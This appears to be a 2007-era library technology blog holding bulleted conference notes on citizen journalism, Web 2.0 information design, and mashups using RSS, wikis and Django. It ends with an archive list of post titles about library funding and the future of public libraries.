--one in 12 Net users publish a blog
--One in 4 have shared original content
--Young people more likely to post content
--Race, income, education less of a factor (folks at CPL, take note!)
--Latinos, African-Americans slightly more likely to post online content than whites

The Web 2.0 Universe (showed a tag cloud to show a visualization of what it looks like)

Blogs
--early days: online geeks posted personal homepages or diaries online
--blogging software made online publishing easy: anyone can do it
--Fill-out-a-form publishing
--Today: 60-100 million+ blogs online, including many of you
--Perception: a media-blogger ware of attrition
The media Hates Bloggers
--can't trust bloggers or "citizen journalist" to get the story right
--bloggers have agendas/biases
Bloggers Hate the Media
--can't trust "old media"
--Big media claims they're unbiased...right
--big media dominated by soundbites
--they don't respect the public's brains
Today: Happy Internet (war is over)
--concerted attempts at finding understanding between the media and the blogosphere
--media/blog collaboration now more common
--greater emphasis on "networked journalism" (Jeff Jarvis)
--Finding ways for the media to work with "people formerly known as the audience" (Jay Rosen)
Why are media outlets embracing Web 2.0?
--improving journalistic transparency
--creating a public dialogue
--tapping into public knowledge and creativity
--new collaborative opportunities with affiliates
--maybe it's profitable, too?
Open Piloting (at NPR)--inspired by Radio Open Source
--inviting the public to help create new broadcast programming
--sharing rough dratfs of shows before they're ready for prime time
--a focus group, but everyone's welcome
--examples: Rough Cuts, Bryant Park (see NPR site)
Radio Open Source (http://www.radioopensource.org)
--a blog with a radio show
--people pitch a story, they whittle down the ideas and then they produce it
--open editorial process to the pbulic
--asks users to particpate on-air
--broadcasts editorial meetings over the internet
BBC Have Your Say
--centralized comments on lead stories
USA Today
CNN iReport (http://www.cnn.com/exchange)
--CNN citizen journalism project with Blip.tv
--CNN asks users to submit photos, video for specific stories
--very best clips included on air, other highlights archived in an online gallery
--published early video from Virginia Tech shooting
--"Tell your firends, "iReport for CNN"
USA Today
--embedding social networking across their site
--not balkanized to a special section
--users can comment on any story
--comments featured on homepage, elsewhere
--syndicating blogs from around the internet
OhmyNews(http://english.ohmynews.com)
--Korean online news service
--publishes in Korean, English, Japanese
--Dedicates 20% of its space to citizen journalists
--invites public to submit content as volunteers
--ones that submit consistently get paid
Global Voices (http://www.globalvoicesonline.org)
--"bridge blogging"--no one single person can completely absorb everything, everywhere
--volunteer bloggers to follow very carefully what goes on in their local area and summarize
--Working with Reuters to get more global coverage
VoteGuide
--organized Center for Citizen Media
--automatically collects news, photos etc using tags
--citizen journalists encourage to cover candidates
--test case for larger project during next cycle
--Berkeley journalism students created blog and aggregator for California's 11th Congressional District
Minnesota E-Debate (http://e-democracy.org/)
--used blogging to host gubernatorial debate
--candidates submitted text, video, voicemail
--public rated responses, posted comments
--users uploaded video, photo, text and audio to various Web 2.0 sites and tagged them "MNpolitics"
NewAssignment.Net
--networked journalism project by Yay Rosen
--launching in April 2007
--will provide a platform for pro and amateur journalist to collaborate on stories together
--developing endowment to pay pro journalists, cover expenses of amateur journalists
--first project: collaborating with Wired News
Quote from a South African bathroom:
"My readers know more than I do. And if we can all take advantage of that, in the best sense of the expression, we will all be better informed." (sorry, couldn't see who said it!)

andycarvin.com/complibraries.ppt

Information Design for the New Web

2007-04-16T13:20:00.000-07:00

Information design for the new web

Ellyssa Kroski (Columbia University)

Google simplicity is now the gold standard

--indicative of the web today

The New Web

--user experience is changing

--changes in the way people consume information

--changes in user expectations

--changes in technology

=changes in information design

--simple, social, and has alternative navigation

Simplicity

--simplicity of web applications and simplicity of their style

--more choice is not always better; now experiencing choice overloadàfrustration for users

--necessary features only; less is more philosophy, low learning curve

--no software to install, no manual needed, no registration

-=DIY service model

--more specialized, niche sites that specialize in one feature, focusing one thing and striving to be the best at it

--changes in style

--clean and simple design

--new lexicon of development; design with a purpose, not just for the sake of design

--centered design orientation b/c we don’t have to worry so much about fitting everything on there

--rounded edges, including on fonts

--sans serif and lower case fonts

--large fonts

--simple persistent navigation; set apart from the busyness of the rest of the site

--bold logos

--strong colors are being used to emphasize key concepts and create distinction

--complementary color schemes

--subtle 3D (dropshadows, gradients, mirrored surfaces); adds a realistic edge to the UI

--reflective surfaces

--simple icons

--whitespace

--starbursts

--Advances in UI

--AJAX

--large tabs

--drag and drop

--autocomplete

--maps

--WYSIWYG

--Previews (like Snap) of what links go to

Social

--socialization of media and applications

--photos, videos, books, news/text, collaborative applications(basecamp, Google Docs & Spreadsheets)

--expectation of interaction with information

--required baseline of social functionality

--commenting

--send to a friend

--share, save as a bookmark

--websites can no longer be islands; users want bridges elsewhere

--what are others saying

--share their discoveries like through Digg

--PopURLS—combines data from 30 other web sites

--social for social’s sake

--primary purpose is a sense of community and connection with others

--user profile is the primary component of a social networking application and the navigation

--user profiles

--friends lists

--comments

--subscribe to users they find interesting

--groups/subcommunities around shared interests

--tools for personal expression

--Alternate navigation

--new ways to navigate web content

--visual representations of what’s important

--People scan, they don’t read

--tag cloud

--most popular items

--the Zeitgeist—snapshot of what’s happening in a community at any given time; a user dashboard

--related information; navigating now involves going in and out between sites (sphere technology allows for a lot of this)

--heat maps (Summize)

--relationship maps

--time tools

--Digg’s swarm application

--maps

--widgets (like on MySpace)

--users are creating mashups

Evolve

--the perpetual beta

--be nimble and able to respond to changes in users’ needs

--be willing to abandon bad ideas

http://infotangle.blogsome.com

Mashups, Remixing Info & Making Data Browsable

2007-04-16T13:17:00.000-07:00

Derek Willis, Washingtonpost.com and Karen Huffman, National Geographic

Why does Web 2.0/3.0 matter?

Next generation (evolutionary)

Envision new, dynamic ways to deliver content

It’s where our users are

Our desktops are moving to the web

Enables new opportunities for collaboration

Adapt, adopt, innovate or die!

Practical applications at National Geographic

See themselves as change agents; the place where no one else is working

Integrated RSS and Podcasting

--list of recommended RSS feeds (like Washingtonpost.com)

--streaming feeds of RSS on their site

--bi monthly, monthly and quarterly podcasts on different topics

--impact: the domino effect. Ranked #8 at iTunes for podcasts

--looked for ways to include external content on intranet site

--feature RSS feeds from their blogs and from the Green Guide

--Newsgator allowed for mobile access

Use Google gadgets for sidebar content

Using wikis for:

Calendars, dictionaries, encyclopedias, directories, acronyms & jargon, records classification dictionary, project planning, mind mapping (Mindmanager, Gliffy), Kids 2.0 wiki has research, articles and products and uses an extension to allow RSS feeds on the wiki

Google maps to show over 8,000 grants

Women’s explorers wiki (and podcasts)

NG Channel International—to help partners around the world communicate

Will be launching a TV wiki

Where are we headed?

--make content Blackberry friendly

--wants to use social bookmarking

--more Google gadgets

Lessons learned

--ensure you have the “right people” on the bus

--Must work in the white spaces of the org chart to affect change

--collaboration is key

--understand your org’s culture

--prototype ideas but keep it simple, personal

--communicate: share results/impact

--shift gears if strategy doesn’t work

Creating Browsable Data with Django (Derek Willis, washingtonpost.com)

--freeing your data from databases and clients and putting it in front of people

--what data do you have that you aren’t using? What can you do about it?

--searching is fun, but…

--what happens when you don’t have a clear search term in mind?

--geographic search? It’s called a map

--are your users good searchers?

--Django is a high-level Python web framework (open source)

--www.djangoproject.com

- --chicagocrime.org is an example

--used by washingtonpost.com for votes database and “Faces of the Fallen” (Iraq war casualties dbase) and “find a recipe” feature

--what you need:

--Python, MySQL (or PostgreSQL, SQLite), a webserver. All free

--advantages of Django

--control (you can pick your URLs)

--Python makes your using data easier

--built in administration interface

--syndication (Atom/RSS)

--generic views

--authorization

--forms

--file uploads

--find a geek or become one, scavenger for hardware, think about your data

--http://www.djangobook.com

--http://toys.jacobian.org/presentations/2007/pycon/tutorials/beginning

--http://www.thescoop.com

Library Geek Woes

The end.

Save Ohio's libraries!

Think differently. (Please don't sue me, Apple.)

Long term funding can't be dependent on people dying...

Raising morale

Depressing library story Monday morning roundup

#cil2009 Keynote--Digital Strategies and Knowledge Commons

#cil2009 Evaluating, Recommending and Justifying Web 2.0 Tools

#cil2009 Social Networking Profile Management

#cil2009 Best of the Web

#cil2009 Developing a Sustainable Library IT Environment

#cil2009 Redesign: the Pitfalls and Perils and How to Avoid Them

Opening Keynote @ Computers in Libraries 2009: Lee Rainie

Headline roundup

Five Keys to Leading in Turbulent Times

Libraries on borrowed time?

What are we waiting for?

Mobile access and libraries: are we anti-iPhone?

The AL stirs some controversy

Today's headline roundup

Los Angeles cuts library funding

More dismal headlines...

Unhappy headlines from this week...

Expert says death of printed books means the death of libraries

Some interesting thoughts about the future of libraries

LITA Forum 2008: Optimizing Library Resources for Screen Readers

LITA Forum 20008: Web Site Design--Perspectives from the Field Panel

LITA Forum 2008: Hacking Web 2.0--Protecting Wikis, Blogs & SQL Databases

LITA Forum 2008: Design for Participation

LITA Forum 2008: Hi-Fi-Sci-Fi-Library: Technology, Convergence, Content,Community, Ubiquity and Library Futures

LITA Forum 2008: Portals to Learning: What Librarians Can Learn from Video Games

LITA Forum 2008: State of Technology Access and Funding in U.S. Public Libraries

LITA Forum 2008: What is "Social Cataloging" and Why Should You Care?

Trenton, NJ: 4 city library branches to close

Blogger labels state library grants as "Quiet Looting"

Are Libraries Dying or Thriving?

Facing $2M Budget Cut, DC Public Library Would Reduce Hours

Long Beach, CA, Mayor Would Close Main Library

Attendance at Hawaii libraries drops

Sad headlines about U.S. libraries

101 places to find your answers online

LGW is now on FaceBook

Even Hennepin County has budget woes

The actual replacement for the public library?

Library prepares to end existence

It's not really about the money

Letter: With computers, why spend big on libraries?

"Fail," indeed

I'm not the only one thinking the future is bleak...

A call for goodness

Comments can be telling

Weighing in on One Big Library

Finish this sentence: "A public library is________."

And again the question is being asked...

And I'm sure you've seen this one also...

Now it's official, libraries have a timeline for death throes

Even this consultant admits that libraries need rescuing

The devaluing of librarians

Courses they should teach at library school

"Coddle those who cower in fear...? Never."

"Libraries are absolutely *terrible* online"

IT people, lend me your thoughts

Useful for so many library websites...

Minneapolis May be Most Literate City, but Cleveland is Tops in Libraries

Perhaps User Friendly says it all about 2007

What happens when all culture is Internet culture?

New blog template

Cleveland Public Library opens new island in Second Life

The catalogers might be having fits

From this week's episode of "Heroes"

You Offer Me Nothing: Serving Next Generation Patrons

What's so wrong with books?

Chasing the technology curve

"Evolution of Dance Guy" to be keynote speaker at Ohio library conference

And the latest nail in the coffin

What if libraries REALLY got rated?

I got interviewed

Computermann to the rescue

How to Hack Your Director (TechConnections 8)

"Libraries are absolutely terrible online"